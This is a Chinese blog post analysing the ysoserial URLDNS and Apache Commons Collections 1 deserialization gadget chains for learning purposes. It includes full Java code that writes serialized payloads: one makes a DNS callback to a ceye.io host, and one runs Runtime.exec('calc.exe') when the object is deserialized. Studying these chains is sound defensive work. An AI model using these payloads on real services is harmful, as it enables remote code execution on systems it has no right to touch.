zoukankan      html  css  js  c++  java
  • java反序列化-ysoserial-调试分析总结篇(1)

    前言:

    ysoserial很强大,花时间好好研究研究其中的利用链对于了解java语言的一些特性很有帮助,也方便打好学习java安全的基础,刚学反序列化时就分析过commoncollections,但是是跟着网上教程,自己理解也不够充分,现在重新根据自己的调试进行理解,这篇文章先分析URLDNS和commonCollections1

    利用链分析:

    1.urldns

     

    调用链如上图所示,由hashmap的key进行hash计算时,如果key为URL类的对象,则调用key.hashcode实际为调用了URL类对象的hashcode,从而触发dns解析,这个手写exp也比较容易,设置hashCode为1为了putval时候重新计算hash,否则直接返回hashCode就触发不了dns解析了

    到这里将触发调用URL类的hashCode

     

    exp.java:

    package URLDNS;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.net.URL;
    import java.util.Arrays;
    import java.util.HashMap;
    
    public class URLDNS {
        public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
            HashMap<URL, String> obj = new HashMap<URL, String>();
            String url = "http://p9tdlo.ceye.io";
            URL a_url = new URL(url);
            Class clazz = Class.forName("java.net.URL");
            Field field = null;
            field = clazz.getDeclaredField("hashCode");
            field.setAccessible(true);
            field.set(a_url,-1);
            obj.put(a_url,"tr1ple");
            //
            //序列化
            //
            FileOutputStream fo = new FileOutputStream(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/urldns.ser");
            ObjectOutputStream obj_out = new ObjectOutputStream(fo);
            obj_out.writeObject(obj);
            obj_out.close();
    
    
            ByteArrayOutputStream  bo = new ByteArrayOutputStream();
            ObjectOutputStream bo_obj = new ObjectOutputStream(bo);
            bo_obj.writeObject(obj);
            bo_obj.close();
            String bo_str = Arrays.toString(bo.toByteArray());
            System.out.println("serialize byte code");
            System.out.println(bo_str);
        }
    
    }

    read.java

    package URLDNS;
    
    import java.io.FileInputStream;
    import java.io.IOException;
    import java.io.ObjectInputStream;
    
    public class ReadObj {
        public static void  main(String[] args) throws IOException, ClassNotFoundException {
       // System.out.println(System.getProperty("user.dir")+"/javasec-ysoserial/src/resources/4.ser");
            ObjectInputStream o = new ObjectInputStream(new FileInputStream(System.getProperty("user.dir")+"/javasec-ysoserial/src/resources/urldns.ser"));
            o.readObject();
    
        }
    }

    2.commonCollections1

     调用链如上图所示

     反序列化首先从invokecationhandler的readObject开始

     然后调用lazymap的readObject

    这里是因为构造payload的时候,实际上将proxy.newinstance创建的proxy代理类传进handler,那么实际上反序列化的时候根据序列化数据的排列顺序,应该首先调用外层invokecationhandler的readObject,然后调用内部成员变量的readObject

     原因正是在反序列化正常的流程中,defaultReadFields方法,读取序列化数据,其入口参数即外部的对象,以及该对象的类

     在该函数内部将读取外层对象的域,并依次将其反序列化,所以这里实际上invocationhandler只是一个容器作用,将实际要反序列化的代理proxy放进去,然后就会调用proxy的readObject(),然后恢复代理的lazpmap,包括后面还要进行hashmap的readObject(lazymap作为容器将其装进去),恢复hashmap

     将所有对象还原后,在invokecationhandler的readObject中将调用memerValues.entrySet,而我们知道被装进容器的是被代理的lazymap类,此时调用proxy代理的entrySet,那么此时将触发代理类的invoke函数

     此时将handler中不存在entryset,此时将调用lazymap.get(“entrySet”)

     在get函数中将调用this.factory.transform,而此时this.factory为定义的用于执行命令的转换链

    在chained转换链中,将循环调用属性iTranformers中的transformer方法

     第一次:

    第一次调用ConstantTransformer类,将直接返回iConstant

     

     而此时即返回类Runtime

    第二次: 

    第二次循环进来即调用invokeTransformer来反射调用方法,并且返回object,并且这里面的方法名,和参数都是可控的,因此才能够在这里定义rce的命令,能够找到这种能够利用的类真的是牛逼。。

     

     那么反射先拿到java.lang.class ,按道理拿到类Runtime,就可以直接反射getRunme方法,这里拿到getMethod方法,然后再反射调用Runtime的getMethod拿到getRuntime方法

    第三次:

     这里实际上就是反射调用getRuntime了,此时将返回Runtime类的实例

    第4轮:

    此时已经有了Runtime类的实例,就可以调用exec执行命令了

     此时将RCE执行clac.exe

     

     

    了解完整个触发以及调用过程就可以手写exp了,方便加深对该利用链的认识

    手写exp:

     exp.java

    package CommonsCollections1;
    import org.apache.commons.collections.Transformer;
    
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    
    import java.io.*;
    import java.lang.Runtime;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.InvocationTargetException;
    import java.util.HashMap;
    //import sun.reflect.annotation.AnnotationInvocationHandler;
    import java.util.Map;
    import org.apache.commons.collections.map.LazyMap;
    import java.lang.reflect.Proxy;
    import java.lang.reflect.InvocationHandler;
    
    public class exp {
        public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
          final Transformer[] trans = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",
                            new Class[]{String.class,Class[].class},
                            new Object[]{"getRuntime",new Class[0]}
                            ),//拿到getruntime方法
                    new InvokerTransformer("invoke",
                            new Class[]{Object.class,Object[].class},
                            new Object[]{null,new Object[0]}),//拿到runtime类
                    new InvokerTransformer("exec",
                            new Class[]{String.class},
                            new String[]{"calc.exe"})//rce
          };
    
          final Transformer chained = new ChainedTransformer(trans);
          final Map innerMap = new HashMap();
          final Map outMap = LazyMap.decorate(innerMap,chained);
    
          final Constructor<?> han_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
          han_con.setAccessible(true);
          InvocationHandler han = (InvocationHandler) han_con.newInstance(Override.class,outMap);
    
          final Map mapProxy = (Map)Proxy.newProxyInstance(exp.class.getClassLoader(),outMap.getClass().getInterfaces(),han);
    
    
          final Constructor<?> out_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
          out_con.setAccessible(true);
          InvocationHandler out =(InvocationHandler) out_con.newInstance(Override.class,mapProxy);
    
          FileOutputStream fo = new FileOutputStream(new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections1.ser"));
          ObjectOutputStream obj = new ObjectOutputStream(fo);
          obj.writeObject(out);
          obj.close();
        }
    }

    readObj.java

    package CommonsCollections1;
    
    import java.io.File;
    import java.io.FileInputStream;
    import java.io.IOException;
    import java.io.ObjectInputStream;
    import java.lang.Runtime;
    
    //jdk<=8u71
    //
    public class readObj {
        public static void main(String[] args) throws IOException {
            FileInputStream fi = new FileInputStream(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections1.ser");
            ObjectInputStream  obj_in = new ObjectInputStream(fi);
            try {
                obj_in.readObject();
            } catch (ClassNotFoundException e) {
                e.printStackTrace();
            }
        }
    }
  • 相关阅读:
    spring-cloud 注册中心配置
    SpringMVC执行流程和原理
    ssm 框架整合 配置
    Spring整合ActiveMQ 之 ActiveMQ配置
    redis配置代码
    world
    web服务器和web应用服务器的区别?
    经典面试题:Mybatis原理
    springmvc原理|执行过程|解决了什么问题?
    Hadoop 学习目录(搁置)
  • 原文地址:https://www.cnblogs.com/tr1ple/p/12378269.html
Copyright © 2011-2022 走看看